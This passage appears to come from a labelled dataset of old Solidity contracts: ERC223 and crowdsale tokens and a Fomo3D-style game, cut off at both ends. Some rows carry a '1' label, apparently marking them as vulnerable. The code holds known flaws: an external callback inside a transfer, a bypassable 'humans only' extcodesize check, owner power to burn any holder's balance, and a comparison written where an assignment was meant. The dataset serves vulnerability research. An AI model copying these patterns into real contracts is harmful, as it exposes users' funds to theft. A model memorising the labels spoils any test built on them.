}
}
interface ReceiverContract{
function tokenFallback(address _sender, uint256 _amount, bytes _data) external;
}
contract ERC20Interface {
function balanceOf(address tokenOwner) public view returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Ownable{
address public owner;
event ownerTransfer(address indexed oldOwner, address indexed newOwner);
event ownerGone(address indexed oldOwner);
constructor(){
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner{
require(_newOwner != address(0x0));
emit ownerTransfer(owner, _newOwner);
owner = _newOwner;
}
function deleteOwner() public onlyOwner{
emit ownerGone(owner);
owner = 0x0;
}
}
contract Haltable is Ownable{
bool public paused;
event ContractPaused(address by);
event ContractUnpaused(address by);
constructor(){
paused = false;
}
function pause() public onlyOwner {
paused = true;
emit ContractPaused(owner);
}
function unpause() public onlyOwner {
paused = false;
emit ContractUnpaused(owner);
}
modifier stopOnPause(){
require(paused == false);
_;
}
}
contract ERC223Interface is Haltable, ERC20Interface{
function transfer(address _to, uint _amount, bytes _data) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens, bytes data);
event BalanceBurned(address indexed from, uint amount);
}
contract ABIO is ERC223Interface{
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address ICOAddress;
address PICOAddress;
constructor(string _name, string _symbol, uint8 _decimals, uint256 _supply) public{
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _supply;
balances[msg.sender] = totalSupply;
}
function supplyPICO(address _preIco) onlyOwner{
require(_preIco != 0x0 && PICOAddress == 0x0);
PICOAddress = _preIco;
}
function supplyICO(address _ico) onlyOwner{
require(_ico != 0x0 && ICOAddress == 0x0);
ICOAddress = _ico;
}
function burnMyBalance() public {
require(msg.sender != 0x0);
require(msg.sender == ICOAddress || msg.sender == PICOAddress);
uint b = balanceOf(msg.sender);
totalSupply = totalSupply.sub(b);
balances[msg.sender] = 0;
emit BalanceBurned(msg.sender, b);
}
function _transfer(address _from, address _to, uint256 _amount, bytes _data) internal returns (bool success){
require(_to != 0x0);
require(_amount <= balanceOf(_from));
uint256 initialBalances = balanceOf(_from).add(balanceOf(_to));
balances[_from] = balanceOf(_from).sub(_amount);
balances[_to] = balanceOf(_to).add(_amount);
if(isContract(_to)){
ReceiverContract receiver = ReceiverContract(_to);
receiver.tokenFallback(_from, _amount, _data);
}
assert(initialBalances == balanceOf(_from).add(balanceOf(_to)));
return true;
}
function transfer(address _to, uint256 _amount, bytes _data) stopOnPause public returns (bool success){
if (_transfer(msg.sender, _to, _amount, _data)){
emit Transfer(msg.sender, _to, _amount, _data);
return true;
}
return false;
}
function transfer(address _to, uint256 _amount) stopOnPause public returns (bool success){
bytes memory empty;
if (_transfer(msg.sender, _to, _amount, empty)){
emit Transfer(msg.sender , _to, _amount);
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint256 _amount, bytes _data) stopOnPause public returns (bool success){
require(_from != 0x0);
require(allowance(_from, msg.sender) >= _amount);
allowed[_from][msg.sender] = allowance(_from, msg.sender).sub(_amount);
assert(_transfer(_from, _to, _amount, _data));
emit Transfer(_from, _to, _amount, _data);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) stopOnPause public returns (bool success){
require(_from != 0x0);
require(allowance(_from, msg.sender) >= _amount);
bytes memory empty;
allowed[_from][msg.sender] = allowance(_from, msg.sender).sub(_amount);
assert(_transfer(_from, _to, _amount, empty));
emit Transfer(_from, _to, _amount, empty);
return true;
}
function approve(address _spender, uint256 _amount) stopOnPause public returns (bool success){
require(_spender != 0x0);
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256){
return allowed[_owner][_spender];
}
function isContract(address _addr) public view returns(bool is_contract){
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function balanceOf(address _addr) public view returns (uint256){
return balances[_addr];
}
} | 1 | 3,007 |
pragma solidity ^0.4.9;
contract ERC20 {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract LegendsCrowdfund {
address public creator;
address public exitAddress;
uint public start;
uint public limitVIP;
LegendsToken public legendsToken;
mapping (address => uint) public recipientETH;
mapping (address => uint) public recipientVIP;
uint public totalETH;
uint public totalVIP;
event VIPPurchase(address indexed sender, address indexed recipient, uint ETH, uint VIP);
modifier saleActive() {
if (address(legendsToken) == 0) {
throw;
}
if (block.timestamp < start) {
throw;
}
_;
}
modifier hasValue() {
if (msg.value == 0) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier isCreator() {
if (msg.sender != creator) {
throw;
}
_;
}
modifier tokenContractNotSet() {
if (address(legendsToken) != 0) {
throw;
}
_;
}
function LegendsCrowdfund(address _exitAddress, uint _start, uint _limitVIP) {
creator = msg.sender;
exitAddress = _exitAddress;
start = _start;
limitVIP = _limitVIP;
}
function setTokenContract(LegendsToken _legendsToken) external isCreator tokenContractNotSet {
legendsToken = _legendsToken;
}
function purchaseMembership(address sender, address recipient) external payable saleActive hasValue recipientIsValid(recipient) {
if (msg.sender != address(legendsToken)) {
throw;
}
if (!exitAddress.send(msg.value)) {
throw;
}
recipientETH[recipient] += msg.value;
totalETH += msg.value;
uint VIP = msg.value * 10;
if (block.timestamp - start < 2 weeks) {
VIP = (VIP * 10) / 9;
}
recipientVIP[recipient] += VIP;
totalVIP += VIP;
if (totalVIP > limitVIP) {
throw;
}
legendsToken.addTokens(recipient, VIP);
VIPPurchase(sender, recipient, msg.value, VIP);
}
}
contract LegendsToken is ERC20 {
string public name = 'VIP';
uint8 public decimals = 18;
string public symbol = 'VIP';
string public version = 'VIP_0.1';
mapping (address => uint) ownerVIP;
mapping (address => mapping (address => uint)) allowed;
uint public totalVIP;
uint public start;
address public legendsCrowdfund;
bool public testing;
modifier fromCrowdfund() {
if (msg.sender != legendsCrowdfund) {
throw;
}
_;
}
modifier isActive() {
if (block.timestamp < start) {
throw;
}
_;
}
modifier isNotActive() {
if (!testing && block.timestamp >= start) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier allowanceIsZero(address spender, uint value) {
if ((value != 0) && (allowed[msg.sender][spender] != 0)) {
throw;
}
_;
}
function LegendsToken(address _legendsCrowdfund, address _preallocation, uint _start, bool _testing) {
legendsCrowdfund = _legendsCrowdfund;
start = _start;
testing = _testing;
totalVIP = ownerVIP[_preallocation] = 25000 ether;
}
function addTokens(address recipient, uint VIP) external isNotActive fromCrowdfund {
ownerVIP[recipient] += VIP;
totalVIP += VIP;
Transfer(0x0, recipient, VIP);
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = totalVIP;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
balance = ownerVIP[_owner];
}
function transfer(address _to, uint256 _value) isActive recipientIsValid(_to) returns (bool success) {
if (ownerVIP[msg.sender] >= _value) {
ownerVIP[msg.sender] -= _value;
ownerVIP[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) isActive recipientIsValid(_to) returns (bool success) {
if (allowed[_from][msg.sender] >= _value && ownerVIP[_from] >= _value) {
ownerVIP[_to] += _value;
ownerVIP[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) isActive allowanceIsZero(_spender, _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
function () payable {
LegendsCrowdfund(legendsCrowdfund).purchaseMembership.value(msg.value)(msg.sender, msg.sender);
}
function purchaseMembership(address recipient) payable {
LegendsCrowdfund(legendsCrowdfund).purchaseMembership.value(msg.value)(msg.sender, recipient);
}
} | 0 | 1,840 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableByOwnerToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
_burn(_who, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract MultiTransferableToken is BasicToken {
function multiTransfer(address[] _to, uint256[] _values) public returns (bool) {
require(_to.length == _values.length);
uint sum = 0;
uint i;
for (i = 0; i < _values.length; i++) {
sum = sum.add(_values[i]);
}
require(sum <= balances[msg.sender]);
for (i = 0; i < _to.length; i++) {
require(_to[i] != address(0));
balances[_to[i]] = balances[_to[i]].add(_values[i]);
emit Transfer(msg.sender, _to[i], _values[i]);
}
balances[msg.sender] = balances[msg.sender].sub(sum);
return true;
}
}
contract ZodiaqToken is StandardToken, MintableToken, BurnableByOwnerToken, MultiTransferableToken {
string public name = 'Zodiaq Token';
string public symbol = 'ZOD';
uint8 public decimals = 8;
}
contract Managable is Ownable {
address public manager = 0x0;
event ManagerIsChanged(address indexed previousManager, address indexed newManager);
modifier onlyManager() {
require(msg.sender == owner || msg.sender == manager);
_;
}
function changeManager(address newManager) public onlyOwner {
manager = newManager;
emit ManagerIsChanged(manager, newManager);
}
}
library SafeMathExtended {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function mulToFraction(uint256 number, uint256 numerator, uint256 denominator) internal pure returns (uint256) {
return div(mul(number, numerator), denominator);
}
}
contract ZodiaqDistribution is Managable {
using SafeMathExtended for uint256;
ZodiaqToken public token;
uint256 public BASE = 10 ** 8;
address public bountyOwner;
address public referralProgramOwner;
address public team;
address public partners;
bool public isICOFinished = false;
uint256 public icoFinishedDate = 0;
uint256 public teamReward = 0;
uint256 public partnersReward = 0;
constructor(address zodiaqToken) public {
require(zodiaqToken != 0x0);
token = ZodiaqToken(zodiaqToken);
}
modifier isICORunning {
require(!isICOFinished);
_;
}
function init(address _bountyOwner, address _referralProgramOwner, address _team, address _partners) public onlyOwner {
require(bountyOwner == 0x0);
require(_bountyOwner != 0x0);
require(_referralProgramOwner != 0x0);
require(_team != 0x0);
require(_partners != 0x0);
bountyOwner = _bountyOwner;
referralProgramOwner = _referralProgramOwner;
team = _team;
partners = _partners;
token.mint(address(this), 240000000 * BASE);
token.mint(bountyOwner, 9000000 * BASE);
token.mint(referralProgramOwner, 6000000 * BASE);
}
function sendTokensTo(address[] recipients, uint256[] values) public onlyManager isICORunning {
require(recipients.length == values.length);
for (uint256 i = 0; i < recipients.length; i++) {
assert(token.transfer(recipients[i], values[i]));
}
}
function stopICO() public onlyOwner isICORunning {
token.burn(address(this), token.balanceOf(address(this)));
token.burn(referralProgramOwner, token.balanceOf(referralProgramOwner));
token.burn(bountyOwner, token.balanceOf(bountyOwner));
uint256 totalSupply = token.totalSupply().mulToFraction(100, 85);
teamReward = totalSupply.mulToFraction(10, 100);
partnersReward = totalSupply.mulToFraction(5, 100);
token.mint(address(this), teamReward + partnersReward);
token.finishMinting();
isICOFinished = true;
icoFinishedDate = now;
}
function payPartners() public {
require(partnersReward != 0);
uint secondsInYear = 31536000;
require(icoFinishedDate + secondsInYear / 2 < now);
assert(token.transfer(partners, partnersReward));
partnersReward = 0;
}
function payTeam() public {
require(teamReward != 0);
uint secondsInYear = 31536000;
require(icoFinishedDate + secondsInYear * 2 < now);
assert(token.transfer(team, teamReward));
teamReward = 0;
}
} | 1 | 3,316 |
pragma solidity ^0.4.24;
contract FEPevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is FEPevents {}
contract Fomo12H is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xE10E045608aBB48e49fCfCb090Ba35C5c8aB2209);
address private admin = msg.sender;
string constant public name = "Fomo12H";
string constant public symbol = "fomo12h";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 11 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => FEPdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => FEPdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => FEPdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => FEPdatasets.TeamFee) public fees_;
mapping (uint256 => FEPdatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = FEPdatasets.TeamFee(53,0);
fees_[1] = FEPdatasets.TeamFee(40,0);
fees_[2] = FEPdatasets.TeamFee(30,0);
fees_[3] = FEPdatasets.TeamFee(36,0);
potSplit_[0] = FEPdatasets.PotSplit(35,0);
potSplit_[1] = FEPdatasets.PotSplit(30,0);
potSplit_[2] = FEPdatasets.PotSplit(20,0);
potSplit_[3] = FEPdatasets.PotSplit(25,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FEPdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FEPdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FEPdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FEPdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FEPdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FEPdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FEPdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
FEPdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FEPevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit FEPevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FEPevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FEPevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FEPevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, FEPdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FEPevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, FEPdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
